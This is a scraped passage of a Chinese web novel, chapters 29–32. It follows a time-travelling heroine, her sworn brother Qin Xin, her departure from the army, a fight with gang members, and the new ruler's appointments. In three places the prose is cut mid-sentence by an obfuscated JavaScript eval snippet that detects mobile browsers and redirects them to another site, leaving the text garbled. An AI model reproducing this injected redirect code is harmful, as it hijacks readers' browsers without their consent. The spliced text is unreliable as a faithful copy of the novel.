那女子所有的家人都死于非命,她大约已心伤至极,心如死灰,才冒着风险,洗去平日擦在脸上的脏物,以干净面目送别家人的当日! 那一日,她被强掳走,该是怎样绝望! 秦信依旧半垂着眼,语气是一种压抑的平静:“没过多久我母亲就被厌弃,裴永年没给她名分,她以奴仆身份留在府中,生下的儿子也被视作奴仆。裴永年儿子多,不在乎这一个。” 他顿了顿,终于抬起眼,看向跳动的火焰,嘴角似乎想勾一下,却没成功。 “所以,这些事,我从小就会做。” 姜六航的心像是被一只冰冷的手狠狠攥住,又闷又痛,想要安慰几句,张了张嘴,却发现任何安慰的话语在此刻都显得苍白无力。 她咬了咬唇,靠过去,紧紧挨住大哥的胳膊,一只手用力覆在他的手背上。 秦信身体僵了一瞬,握着树枝的手指缓缓松开。 火堆里,一块油脂滴落,“噼啪”一声爆响。 义弟在安慰他。 这些,他从未对人说过,可义弟问起,他就自然而然地说出来了。 “做奴仆的日子也没过很久。”他转开话题,语气刻意放松了些,“十三岁时,我过上了好日子,再也不用干活。” “裴永年良心发现了?” “是二叔找到他,对他说,把儿子当奴仆使唤,不体面,于是他下令不许再使唤我做事,按月给我一些口粮,不让我饿死。” “不饿死?给的粮食很少吧?” “我和母亲节省点吃,够了。”秦信顿了顿,“只是有一点不好,不干活后,没了月银。” 姜六航听出他语气里的无奈和嘲讽,心中酸楚。 一点奴仆的月银没了,大哥也这样可惜,可想而知,那时过得是多么艰难。 定是吃不饱、穿不暖。 冻疮! 姜六航猛然想起初见时,大哥手上那些深色的、触目惊心的冻疮疤痕。 自己以前竟从未深想,只当富贵公子皮肤娇贵。 她握了握这人的手背,轻声道:“不干活后,就去上学了吗?裴永年安排的?” 大哥学识渊 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大哥母亲早亡,她不愿再说大哥的伤心事,僵硬地转移话题:“纵是罪奴,也当有人权,怎可随意欺凌践踏?大哥,这次立法,你一定要和谢执法说,要严格限制贵权们的行为,尽量做到人权平等……不过这不是一蹴而就的事,需在实践中逐步完善,让谢执法不要有心理负担……” 篝火噼啪作响,秦信眸光定定锁在那张脸上。周遭的一切仿佛都模糊褪色,只余下这跳动的暖色光晕中,她侃侃而谈的鲜活模样。 是从几时起,对义弟起了不可言说的心思呢? 不是滁州绝境中义弟来救援那次。 那时自己确实受到极大的震动,想着今后要对这人好一点,只要这人不负他,就把这人当作同母的嫡亲兄弟待。可是,那时也确实没有其它念头。 是后来…… 看她万军中驰骋如战神,看她扶起冲到马前的谢思礼说“还你公道”,看她为战死军士整理遗容磕头,看她赢了自己时汗水滑落的戏谑笑容,看她城墙上挥手指点江山说“大哥,我们齐心协力,让这普天之下的百姓都能得温饱、得公平!”…… 一次又一次的震动,一次又一次的心折,不知不觉,陷入已深。 想要独占,想要融入骨血,再不放开。 他向来谋定后动,想要的必千方百计握入掌中。 可当突然明白自己对义弟的心思时,往日的决断、筹谋全部化作犹豫徘徊。束手束脚,不敢使一丁点手段,甚至藏起自己的渴望,唯恐被义弟知晓。 可越是束缚,那欲念越是胀大。 疯狂的念头灼烧着他,牙关紧咬,舌尖尝到一股腥味。 “大哥?”姜六航忽觉那目光灼热得烫人,疑惑转头。 秦信猛地移开视线,喉结剧烈滚动了一下:“鸡烤好了。” “哦哦。”姜六航转到一半的头又转回来,从火堆上取下鸡子,放进盘子里,深深吸了口气,道,“哇!好香!” 她凝神看着大哥拔出匕首切割,心头涌起浓重的酸楚。 最后一次了…… 忽地,一抹血色乍现! “大哥!” 大哥切鸡子从未失过手,今天是忆起往事,心神不宁吧? 自己早该想到,不让大哥动手。 “别动!我给你包扎!”姜六航叫道。 手腕被一把扣住,秦信抬头,对上义弟关切、懊恼的眼。 29. 第 29 章 义弟眉头紧锁,大拇指死死压住伤口边缘。 秦信垂眸,看着那鲜红浓稠的血珠,沾染在两人紧密相贴的指腹与指节上。倏忽间,一股颤栗的热流自他身体最深处猝然炸开,瞬间席卷四肢百骸。 他忍不住动了动手指,面前的人却以为他要挣扎,更用力地捏紧,扯下衣襟一角干净的内衬,一圈圈缠上伤口。 这人神情专注,没发现正被一双饥饿的、灼热的眼窥伺着。 那双手忙碌着,温热的、柔软的手指在他皮肤上留连,最终,在布条末端打了一个结。就在指尖离开的刹那,秦信几乎是下意识地,猛地一把攥住那手腕。 “大哥?” 秦信仿佛被烫到般迅速松开。 “去把手上洗洗吧。” 姜六航只以为大哥心绪未彻底平静,没有多问,依言到溪边洗干净匕首和手上的血。 她转回身,把匕首递给秦信,一边调侃着调节气氛:“这把匕首自从出了滁州,是第一次见人血吧?想不到是自己的血。” 秦信接过,套回鞘中,那上面熟悉的纹路瞬间勾动了深埋的记忆。他声音低沉下去:“是啊,还是将近五年前,在滁州,沾过人血。” 宣德二十三年,忠王李裕反叛,攻入京城,后来在各路勤王军的追杀下逃走,路上被流矢射中,回到滁州后不久就死了。 滁州穷困,各路雄豪不太看得上,秦信却想以此地作为根据地之一,和李裕的儿子——李义对上了。 在一次战役中,秦信遭遇伏击,当机立断,分做三路迷惑敌军,朝不同方向突围。 另两路都顺利逃脱,秦信所在的一路却被敌军死死咬住,紧追不舍,最后竟被逼入了敌军的腹心之地。 陷入敌军时,他冷静地衡量,得出结论:不会有人来救他。 他虽有几个心腹,但他们犯不着冒巨大风险。他没了,他们可以投靠下一个主人。更何况军中还有些人巴不得他死,好取而代之。 他做好了死的准备。 但,六航来了! 六航那时还只是一个百夫长,带着自己的小队,硬生生从敌军围堵中杀出一条血路来救援。 征袍尽染,大刀卷刃,望见他时,双眼中迸出喜悦光芒。 “你是我们的总督,我怎能不来救你!”她笑着,声音嘶哑却斩钉截铁。 那一刻,无法置信,坚如磐石的心防被轰然砸开一条缝隙。 杀死一名敌将后,六航从尸体上翻出一把匕首,随手抛给他:“这刀给你防敌!” 从那天起,他带着这把匕首,一日也未离身。 一晃已将近五年。 秦信拉回心神,摩挲着刀鞘上的纹路:“滁州脱困时,我一直用这把匕首杀敌。” 姜六航点头:“嗯嗯!脱困后你拉着我,非要结拜为兄弟。”她挑起眉,脸上笑意盈盈:“救命之恩,感动坏了吧?” “是啊,感动坏了,恨不能……”秦信的声音低沉下去,像在压抑着什么。 “以身相许!”999飞快地接道。 姜六航抽了抽嘴角。 “结草衔环以报。”秦信道,声音暗哑。 “结草衔环就不用啦!你是我们的总督,陷入敌军,我本就该去救你。”姜六航满足地眯起眼,“你给我烤了那么多鸡子,让我大饱口福,救命之恩就抵啦!” “才不到五年,抵不了。得给你烤一辈子鸡,才能相抵。” 姜六航眼眶骤然一热,喉咙像是被什么堵住,低低地“嗯”了一声。 可是,没有一辈子了啊! 只有今天了。 此后,永远不见。 这时天色暗了下去,姜六航抿了抿有唇,压下翻涌的心绪,道:“大哥,我们回去吧。” “好。”秦信低声应道。 两人去牵马。 姜六航拍拍赤云的背,在马儿仰头长鸣时,姜六航似乎捕捉到身后传来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757393|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声极轻、极低的呼唤。 她回头。 那人立在四五步远处,暮色勾勒出他挺拔的身影,嘴唇似乎还残留着翕动的痕迹,正深深地凝望着她。那双总是含着温润笑意的眼眸里,此刻翻涌着太多姜六航看不懂的浓烈情绪,沉重得让她感到窒息,心慌得几乎要跳出胸腔。 “大哥?”她下意识地握紧手中的缰绳。 秦信挑起嘴角,眼中所有翻涌的情绪如潮水般退去,重新覆上那层惯常的温和。仿佛刚才那声低唤,那眼里的情绪,都是姜六航的错觉。 “六航,我们走吧。” “驾!”两马并行,冲下山道。 风声在耳边呼啸,景物飞速倒退。 小灰在逐渐暗沉的天空中盘旋,姜六航抬头望一眼,很快收回视线。 秦信也随着抬头望了一眼。苍茫暮色下,几只归鸟掠过,成了模糊的黑点。他不在意地收回目光,落回一旁的身影上。 衣袂翻飞,时而交叠在一起,一样的颜色,一样的花纹,分不清谁是谁的。 999忽然出声:“宿主!反派刚刚叫你六六。那天你发作后,睡着时,他也叫你六六。他不是一直都叫你六航吗?怎么突然改口叫六六了?还悄悄地在背后叫,不让你听见?六六、六六……” “宿主,统以后叫你航航,行不行?” 姜六航:“不行。” 999:“——嘤!” “999,我回去后,有没有可能再穿越一次,换一个身体,又穿越到这里?” 999被宿主的异想天开惊呆了:“宿主,你怎么敢想?穿越本就是亿万分之一的机会,你还想穿越两次?还想两次都穿越到同一个地方、同一个世界?!” 语气里满是“你在做梦吧”的惊叹。 姜六航哼笑道:“亿万分之一,那也是有机会的嘛,不是绝对不可能。我想想怎么了?” 999“哈”了一声,懒得再搭理宿主。 30. 第 30 章 夜色浓稠,中军帐内灯火通明,铁骨军首领齐聚,为姜六航饯行。 先前吃的那只鸡子,早已消耗得差不多了。此时满桌色香味俱全的菜肴,勾得姜六航腹中馋虫蠢动。 一番客套后,众人落座。 众人桌案上都摆着酒,唯有姜六航桌上是清茶——显然是大哥考虑到她明早要启程,事先交代过。 姜六航先喝了一口茶润喉,正准备大干特干,无意中往右一侧头,正好瞧见应匡举杯向大哥敬酒,大哥的手已伸向酒盅。 “大哥!”姜六航赶紧几步跨过去,情急之下,不及多想,顺手把端着的茶杯塞过去:“你的脸伤着,不能喝酒,以茶代酒吧。” 秦信微怔,掌中已多了一杯温热的清茶。握柄上,似乎还残留着余温。 他垂眸,目光在杯沿定了一瞬,五指缓缓收拢。 应匡四十多岁,相貌堂堂,一把长髯垂胸,姜六航总觉得他像画上的关公,只是脸没关公那样红,使的也不是青龙偃月刀,而是一把长枪。 此时听了姜六航的话,他朗声一笑:“是我疏忽!先干为敬,总督随意!”仰头饮尽。 秦信举杯,唇即将触及杯沿。 姜六航忽然想起,这茶,她喝过! 但马上,她又蹙眉。 自己怎会升起这样莫名其妙的念头? 行军缺水时,不是没和大哥喝过同一个水囊里的水。那时坦坦荡荡,这时怎么突然矫情起来了? 是离愁作祟,心绪纷乱所致? 她定了定神,趁秦信与应匡交谈,悄然退回席位。 秦信面上从容应对应匡,眼尾余光却如影随形,直到那抹身影安然落座,才收回视线,重又举杯,薄唇轻轻含住杯沿。 姜六航甩开杂念,专注于案上美食,痛快朵颐。 期间,裴祥光面带惶恐地前来替儿子陪罪,姜六航安慰他,只说事情已经过去,今后不再犯就是。 吃饱之后,姜六航转目四顾,恰见姜子循独自一人,持杯立于墙上挂着的舆图前,仰头凝神细看。 好机会! “姜大人!”她走近。 姜子循应声回头:“将军。” 两人到角落的桃木圈椅落座。 姜子循儒雅的脸上露出感激,微笑着拱手:“今日多谢将军为小女解围。” “不用谢,应该的。裴轩欺人,我既瞧见,断没有袖手旁观的道理。”姜六航身子微倾,压低声音,“姜大人,我想问你一件事。” 姜子循眼中闪过一丝诧异。 他和将军虽然相熟,但文武有别,一向没什么私交。可看此时情形,将军要问的却非公事。他面上不动声色,同样压低声音:“将军但问无妨,姜某定当知无不言。” “姜大人,总督今年二十二,我从未见他和哪位姑娘亲近过。”姜六航忧心忡忡,“是不是有什么不妥?” 不妥? 什么不妥? 姜子循一口气猝不及防地噎在喉咙里,神情微妙。 将军莫非以为,总督也和他一样,身有隐疾? 他喉头滚动,结巴了一下:“将、将军何出此问?” “我是担心,”姜六航浑然不觉对方已想歪十万八千里,“总督是否因过往经历,心中受到创伤,以致,恐惧婚姻?” 姜子循:“……”得,又想岔了。 姜子循咳嗽一声,收拾好脸上表情,道:“那倒不是,总督只是尚未遇见心仪之人。嗯……总督的父亲……姬妾众多,总督对此很是反感。七年前,我与总督闲谈,无意间谈及此方面,总督曾言道,今后只与意中人一心一意相守,绝无旁人。” 姜六航大松一口气。 大哥确实受到影响,不过是朝好的方面影响。 但随即,她又想到,历史上大哥终身未娶,是一生都未寻到那位意中人吗? 姜六航下意识望去。 正被众人簇拥的秦信,仿佛心有灵犀,第一时间感应到她的视线,抬眼望来,眸中带着无声询问。 这一刻,姜六航仿佛在他身上看到了历史上那个秦总督的影子。 999说,历史上的反派麾下仅有武成一位大将,兵力最盛时也不过十五万,然而凭借顶尖的政治手腕、权谋机变、治理能力硬是与杨承抗衡了整整三十年,一度与之平分江山。 姜六航嘴唇动了动。 她想问999,战败之后,武成的结局如何? 应匡呢?又在哪里? 还有裴佑,她是大哥的堂妹,即便没有自己教导再世剑法,以她原本的剑术造诣和兵法天赋,也该是大哥麾下的一员骁将,为何999未曾提及? 999说过,大哥杀了裴大人,难道裴佑因此和大哥反目了? 还有姜大人、谢思礼、迟非晚,这些人,又都在哪里? 是何命运?结局如何? 但她终究没有问出口。 或许内心深处,她已隐隐预感到,那些答案,不会是她愿意听到的。 历史上的大哥,孤军奋战,孤身死去,背负千古骂名。 可历史已经改变了! 如今大哥身边良臣骁将如云,再非孤家寡人。 帐内这些同袍,此生也得遇明主,必能大干一番事业,青史留名! 一股暖流冲散心头阴霾,姜六航对着那人微微笑起来。 “姜大人,走!去听听他们在说什么。”她说着,起身朝那人走去。 —— 宴终人散。 迟非晚道:“将军,明日不便相送。不如今夜,我等送将军回帐?” 姜六航心头一暖:“好!” 众人踏月而行,姜子循等人默契地放缓脚步,落后姜六航和秦信六七步,留出空间让这对兄弟说些体己话。 夜色茫茫,道旁悬挂的灯笼和巡营军士手持的火把,在脚下投下明明灭灭、摇曳不定的人影。姜六航低着头,心不在焉地踩着自己被拉长的影子。倏地,左手被一片温热牢牢包裹。 那怪异的悸动又起。 “六航,看路,那边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很快,歌声从四面八方汇聚,如洪流奔涌,声震霄汉。 “铮铮铁骨,一往无前,护我百姓,卫我河山。” “铮铮铁骨,一往无前,护我百姓,卫我河山。” “铮铮铁骨,一往无前!” “护我百姓,卫我河山!” —— 第二天,姜六航提前半个时辰起床,牵了赤云,避开巡哨,溜出军营。 最后回望一眼军营,她翻身上马,一夹马腹,赤云长嘶一声,如离弦之箭,绝尘而去! 小灰振翅,盘旋左右。 秦信从隐蔽处走出,默然伫立,凝望着那一人、一马、一鸟,融入熹微晨光,直至消失不见。 31. 第 31 章 翻过年,到了宣德二十九年。 三月底。 京郊官道,尘土飞扬。一骑如血,飞驰而来,骤然勒停在一间喧闹的饭馆外。 马上骑士一身利落玄黑武服,帷帽低垂,正是做任务归来的姜六航。 饭馆内外人声鼎沸,旅人、脚夫、商贩挤满了桌椅板凳,空气里弥漫着劣酒、汗水和油腻饭菜的味道。议论声嗡嗡作响,中心围绕着即将到来的改朝换代。 “听说了吗?国号定了,就叫‘夏’!”一个嗓门洪亮的汉子唾沫横飞。 “夏?你可确定?” “怎么不确定?千真万确!” “我身在京城都不晓得,你家离着京城二十几里,一年都难得来一次,怎么知道的?别是胡说吧?”一人的声音里满是不信。 先前的那汉子声音大起来,仿佛受到了极大污辱:“谁胡说了!我同村在裴大人府上当差,他亲耳听见裴大人和人说,新的国号早就定下了,就叫‘夏’,只是没往外公布罢了!” 他这话像投入滚油的水滴,瞬间炸开了锅。不仅同桌的人停了筷子,连邻桌乃至饭馆里面的人也被吸引了注意力,纷纷探身过来,七嘴八舌地追问。 “年号定没有?” “姜帅封的什么官?” “丞相是谁?” 那人一辈子都没受过这般众星捧月的关注,激动得满面红光,手指比划着,一一回答众人的问题。 一时间,众人七嘴八舌,仿佛这简陋饭馆就是新朝议政的殿堂。 “想不到,最后是反派得了江山。”999感慨。 姜六航没有应声,帷帽下视线不动声色地扫过饭馆外的几张桌子。三个身佩兵刃的江湖人正埋头吃饭,在她勒马停驻的瞬间,抬头看一眼,又低头继续吃饭。 “伙计,四个包子!两荤两素,带走!”清亮语音穿透嘈杂。 伙计麻利打包递上。姜六航接过油纸包,翻身上马,赤云长嘶一声,向前驰去。 那三个江湖人中,一个瘦长脸汉子猛地抬头,死死盯着那远去的人马,脸色变幻不定。 “老七,怎么了?”同伴警觉地问。 “那人声音……”瘦长脸声音压得极低,带着难以置信,“像极了去年梁州城杀杨承的邢台上,姜帅说话的声音!” 两人瞳孔骤缩! 老七耳朵灵敏,尤其擅辨人音,他说像,那就八九不离十。 “姜帅的马,也是红的!” “那裹布的长条兵刃,长度、形状弧度,分明是刀!霹雳刀!” “可马具,不是铁骨军制式。”一人迟疑道。 “都戴上帷帽了,自然要换下显眼的制式马具。再说,若不是那刀别人都认得,为何要裹起来?”另一人反驳。 —— 姜六航还不知道被人看破行踪,她也在追踪着人。 就着最后一点腌菜吃完包子,把空了的瓷罐仍然放回包裹,她一边策马往前奔,一边在脑子里和999对话。 “你说你一个系统,还不如一只鸟管用,羞不羞?” 999反驳:“人口普查系统又不干追查、缉拿的活,当然没有那方面的功能。我们所有的功能都是为人口普查服务的!” 姜六航真诚地建议:“嗯……就不能开发一个锁定的功能吗?找起人来不是更方便?这也是为人口普查服务嘛!” 999义正言辞:“我们不能侵犯人的隐私!” 姜六航一踢马腹:“哈!那你们还挺有原则的!” “啾啾!” 一只鸟儿从前方飞过来,落在姜六航的肩头。 “小灰!”999欢叫。 “小灰,带路!”姜六航道。 鸟儿仿佛听懂了她的话,应声而起,保持在她头顶上方两三丈的高度,往前飞去。赤云通灵,无需催促,四蹄翻飞,紧跟着那道灰色轨迹,偏离官道,一头扎进莽莽山林。 山势渐陡,林木蔽日,通往前路的小道狭窄,马匹难以行走。姜六航勒住赤云,利落地翻身下马。 “赤云,在这里等我。”她拍了拍马儿的脖颈。 赤云打了个响鼻,乖乖地停下。 姜六航跟着上空小灰飞行的轨迹继续前行,林间死寂,只有她自己的呼吸和偶尔小动物窜过的声响。 走了一会,忽然,一个充满恐惧的声音,断断续续飘过来:“全死了!都被他杀了!三十几个兄弟啊,只有我逃出来。堂主,连五招都没撑过……” 姜六航嘴角勾起一丝弧度。 果然钓到鱼了! 不枉她追了七天,追了数百里! 她伏低身体,借助树木和石头的掩护,悄然靠近。 前方豁然开朗,在一片林间空地上,十几个劲装汉子围坐成一圈,那说话的人瘫坐在地上,满面惊魂未定。 听了他的话,所有人脸上露出悲愤和惊惧,七嘴八舌地说着: “姜六航怎么找到堂口的?谁泄露了消息?” “他不是在会州一带剿匪吗?怎会出现在庆州?” “你看清了?后面没尾巴?他没跟来吧?” “我们怎么办?城里那个姜子循查得严,山里也不安全啊!连个藏身的洞都没有!” 绝望蔓延。 有人恨声咒骂:“两个姓姜的都不是好东西!一个比一个狠毒!” 有人惶惶不安:“其他的兄弟们都撤了,我们是不是也得赶紧撤?” “闭嘴!”一个面色阴鸷的汉子厉声喝道,“慌什么?等上面的指令!擅自撤退,帮规处置!”他眼中凶光闪烁,扫视着众人。 姜六航伏在一块巨石后,命令999:“扫描他们!” “收到!” 立刻,十四个人的信息都显示在表格里,不出所料,全是斩月楼的成员。 斩月楼总部在泉州,为北部几州的武林盟主马荣所创建。马荣被应匡击败后仓皇逃窜,不知所踪。如今看来,斩月楼并未溃散,反而在暗中活动,组织严密,纪律森严,背后那只黑手,除了马荣还能有谁? 姜六航陡地站起,扑向空地。 刀光掠过最近一人的咽喉,带起一蓬血雾,那人脸上的惊愕甚至来不及扩散,身体已软倒。刀势毫不停滞,反手一撩,第二个汉子刚摸到腰间的长剑,胸膛已被劈开,骨骼碎裂声清晰可闻! 不过眨眼,两人已丧命刀下。 直到两具尸体轰然倒地,剩下的人才如梦初醒,骇然尖叫! “霹雳刀!” “姜六航!” 姜六航哼笑道:“是我!”动作却没停,扑向第三人。 实力的差距如同天堑,这些斩月楼帮众在她面前,如同待宰羔羊,转眼间倒下一片。 姜六航追上一个逃出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774888|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帮众,一刀杀了,正要转身解决最后的那个头目,却见他眼中闪过疯狂与绝望,猛然扑向离他最近一个重伤者,手中长剑毫不犹豫地捅穿了对方的心脏。 “你——!”姜六航眼神一厉,加快脚步。 “姜六航!楼主会为我们报仇!你不得好死!”那人嘶吼着,如法炮制,又刺一剑,结果了另一名重伤同伴,随即,在姜六航的刀锋触及之前,反手将长剑狠狠捅进了自己的胸膛,剑尖透背而出。 999:“嘶——好狠!” 也不知是在说那人下手杀同伴狠,还是杀自己狠。 姜六航被人骂习惯了,倒不在乎那人的临终一骂,她快步上前,检查她先前没杀死的两人,果如所料,都被头目在心口刺了一剑,死得不能再死。 “可惜!可惜!”姜六航连连叹道,“本想留几个活口,撬开他们的嘴,问出点有用东西的。” 她点着那三具尸体,吩咐999:“这几个留下,其他的,连兵器一起,都给我收到空间里。” “啊?还收?”999惊叫,“那是给你装行礼的,方便你行路,不是装尸体的!” 姜六航不以为然:“都是给我用的,装什么不是装?” 999满心不情愿,道:“早先装了三十几具尸体,还装了四桶鱼油,装不下了。” 姜六航:“挤挤。” 999:“……” 等999收了尸体,姜六航下得山来,骑着赤云往京城去。 999生了一会闷气,终究是闲不住,又主动和姜六航聊起来。 “宿主,你要那么多尸体,还有鱼油,到底想干什么?”999好奇地问,“先前问你不说,今天我们就要离开这个世界,总可以说了吧?” “这都想不到?” 宿主语气里一股子瞧不起统的意味,999感觉受到了侮辱,但统实在太好奇,忍气吞声道:“想不到。你告诉统吧。” “不用我说,等一会你就知道了。” 999:“哼!” 过了一会,999又问:“宿主,你为什么不要那三具尸体?” “你想要?” “不想!”999恼羞成怒,“装不下了!挤都挤不下了!” “我还以为你想要呢。”姜六航笑了一声,这回倒是没卖关子,解释道,“上山时看见不少猎户打猎的痕迹,很快他们会发现尸体,然后报上去。谢思礼兴许能从尸体上查出些东西。运气好的话,也许能顺藤摸瓜,搜出更多斩月楼的帮众。” 其实最根本的原因是,那三具尸体,她用不上。 赤红风驰电掣,将山林远远抛在身后。姜六航抬起头,目光穿透帷帽垂纱,望向前方那座巍峨城池。 京城。 她特意留下的,最后一个打卡地点。 —— 山上,先前饭馆里的三个江湖人蹲着,神情凝重地仔细察看三具尸体。 “刀伤。姜帅杀的。” “但致命的不是刀伤,是胸口的剑伤。” 三人互望,眼中都有许多疑问。 瘦长脸忽然想起什么,猛地掀起一具尸体的衣袖。 右臂内侧,一块殷红的半月形刺青,狰狞刺目! “斩月楼!” 另两人立刻动手,掀开其余两具尸体的衣袖。 同样的位置,同样的刺青。 32. 第 32 章 夜幕降临,笼罩宫阙楼阁。 勤政殿内,明亮宫灯依次燃起,撕开沉重黑暗,把殿内照得明晃晃一片。内侍们屏着呼吸,点完灯后便蹑手蹑脚地迅速退下,余光半分不敢瞄向御案后那个身影。 那是即将上任的新帝秦信,其待下并不苛厉,但在这里熬了许多年月的宫人们,最明白宽慈背后也可能是深藏的狠厉。 少说话,严格按吩咐办事,才是深宫里的平安之道。 殿外,裴祥光满面红光,步履生风,正与姜子循联袂而来。 “总督登基大典就在下月,千头万绪啊!”裴祥光声调昂扬,透着压不住的得意,“新朝伊始,这登基、定制乃头等大事,重中之重,半点差错出不得!姜大人,你是不知道,我这几天,真是脚不沾地!” 姜子循唇角含着浅笑,拱手恭维道:“能者多劳!纵观满朝,唯有裴大人能力出众,又能得总督十分信任,放心交予重任,旁人哪能办下这事?” 裴祥光深以为然。 进京之后,他被委以起草百官规制之责,俨然授予丞相之权柄。反观姜子循,接手的多是安抚流民、清查京畿之类的庶务。 丞相之位花落谁家,似乎已不言而喻。 他心中熨帖,面上想要表现出谦逊,眼角眉梢的意气却怎么也藏不住,笑道:“姜大人过誉了,铁骨军中能人辈出,总督不过是看我勤勉罢了。” 说话间已至殿门。 冯简迎出,请姜子循外殿稍候,引裴祥光先行入内。 裴祥光与姜子循一揖,转身踏入内殿。 姜子循见他背影消失,坐到桌旁端起茶盏,一边慢慢品茶,一边在脑子里梳理着待会儿要禀给总督的事项:流民安置、京畿清查……还有那桩棘手的封王仪典。 总督定于登基次日为将军行封王大礼,命他主理,而且总督亲自督办——这本寻常,总督对将军的关怀素来无微不至。 可这仪程一再拔高,所用器皿、王袍规制,处处僭越。 这绝非恩宠,是埋祸根! 对将军,对王朝,都是遗患无穷。 必须再劝。姜子循打定主意。 不知过了多久,内殿门开,裴祥光出来了。姜子循抬眼,正要出口招呼,却猛地顿住。 方才进去之时还志得意满的裴祥光此时脸色灰败,眼神空洞,整个人像是被抽走了魂魄。他踉跄着走过,一眼未看守在门口的冯简,也一眼也未看桌旁的人,仿佛那么大两个人是两团空气。 姜子循心头陡地一跳。 发生了什么? 不待他多想,冯简已传他入内,他只得压下满腹惊疑,起身往内殿走去。 殿内,总督端坐案后,见他进来,微微颔首,示意他落座,神情平和如常,看不出一丝异样。姜子循收敛心神,逐一禀报公务。 末了,他觑准时机,斟酌着开口:“将军四月初能返京么?十六的封王大典可能如期举行?” “可以。”秦信放下茶盏,修长的手指抚过腰间匕首刀柄,声音里透出真切的愉悦,“前日接到将军传信,最迟四月初,必可返回京城。” “如此甚好!”姜子循顿了顿,硬着头皮道:“总督,那封王仪典的规格,恐于礼不合,引起非议……” 秦信眉峰微不可察地一蹙,目光扫来,淡声道:“于礼不合?” 一股无形的压力骤然压过来,姜子循咬牙,心一横,豁出去了:“是!此于将军也不利,今日种种僭越,他日若……若君臣生隙,便是现成的罪证!” 殿内死寂。 只有烛火跳跃着,在两人脸上投下明明灭灭的光斑。 预想中的雷霆之怒并未降临,上座低低笑了起来,笑声在空旷的大殿里回荡。 姜子循愕然看过去。 “人心易变。”秦信止住笑,指尖在紫檀案几上轻轻叩击,发出沉闷的笃笃声。 姜子循:正是此理! “我又怎敢担保,永如今日般信他?将军体魄强健,必是走在我的后头,即便我二人终生不负,又怎敢保证,后世之君,也如我一般信他?” “若真有反目的那一日,今日之僭越,是罪证。”低沉的语音说着,话锋一转,“但,没有这些,捏造罪证,很难么?” 姜子循心中更是疑惑:既然看得如此通透,为何还要一意孤行? “姜大人真心为将军计量,我很欣慰。”秦信抬眼,目光幽深得像一汪潭水,“不过,真到那一日,姜大人也不必忧心,将军吃不了亏。” 他推过来一卷明黄绢帛:“新朝官员任命,裴大人将才看过,姜大人也看看。” 姜子循目光落向绢帛,饶是他一向自诩淡泊,此刻心弦也不由自主绷紧,视线飞快扫过,寻找自己的名字。 找到了。 在第二列。 上面是总督铁画银钩的字迹——姜子循:忠靖公、丞相。 悬着的心落回实处,又不免有些意外。 丞相竟是他?那裴大人…… 目光不受控制地移向第一列—— 姜六航:衡王、全国兵马大元帅、总领京畿防务,统京畿五营、御林军。 “嗡!”姜子循脑中一片轰响。 兵马大元帅尚需虎符才能调动全国兵马,可京畿五营与御林军,这是京城内外的两大兵力。历朝历代,分权制衡是铁律,防的就是一人坐大,挟制天子。 总督竟……竟将两支军队交予同一人! 荒谬! 疯狂! 与这惊世骇俗的任命相比,那王袍上多绣的几条龙、听旨不跪等小事,简直不值一提。 姜子循僵在座位上,死死盯着那列字,血液都仿佛凝固住了。 总督疯了? 素来深谋远虑,处事周全的总督,怎会做出这等……冲昏头的事? 裴大人方才失魂落魄,到底是为相位?还是被这闻所未闻的任命吓破了胆? 就在姜子循心神剧震、脑中翻江倒海时,轻描淡写的声音再次响起:“将军兵权在手,若真有君主生疑,含冤莫辩的那一日,那就,反了吧。” 那就,反了吧。 就,反了吧。 反了吧。 反了吧…… 三个字在姜子循脑中疯狂盘旋,他只剩下一个念头:总督疯了! 他一直以为,自己追随的是一位明主。 睿智,仁厚,胸怀天下,知人善任。 他曾无数次庆幸,得遇明主,愿肝脑涂地,辅佐其成就大业。 直到此刻,他才骇然惊觉,这位主君骨子里,竟藏着如此暴烈、如此不顾一切的疯狂、昏聩。 不,比昏君更甚! 再昏头的昏君,也干不出这样把致命咽喉亲手交给旁人的事! 古语有云:为兄弟两肋插刀。 可这哪里只是插刀?这分明是、分明是……恐怕伤到兄弟,把自己绑缚起来,心甘情愿地受刀! 一个无比惊悚的念头骤然升起:父母之于爱子,为之计深远,也不过如此!总督待将军之情,真的,只是兄弟情吗? 一股寒意从脚底直冲头顶。 姜子循下意识想窥探总督神色,目光刚转一半,猛地惊觉失态,强行转回。 “四月十六,封王大典之上, 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今日撞邪了?裴大人如此,姜大人也如此,这殿里到底有什么摄魂夺魄的东西? 正惊疑间,内里传来总督唤声,冯简连忙敛神入内。 “王府可有消息?”秦信的目光落在堆积如山的奏报上,并未抬头,仿佛只是随口一问。 冯简心头却是一紧。 王府内安排有人,一旦将军归来,即使三更半夜也会前来报信。总督分明知晓,却还是时常询问,且近几日问得愈发频繁。他们这些近卫心知肚明,总督迫不及待了。 “没有。”冯简恭敬地垂首。 殿内陷入一片令人窒息的沉寂。 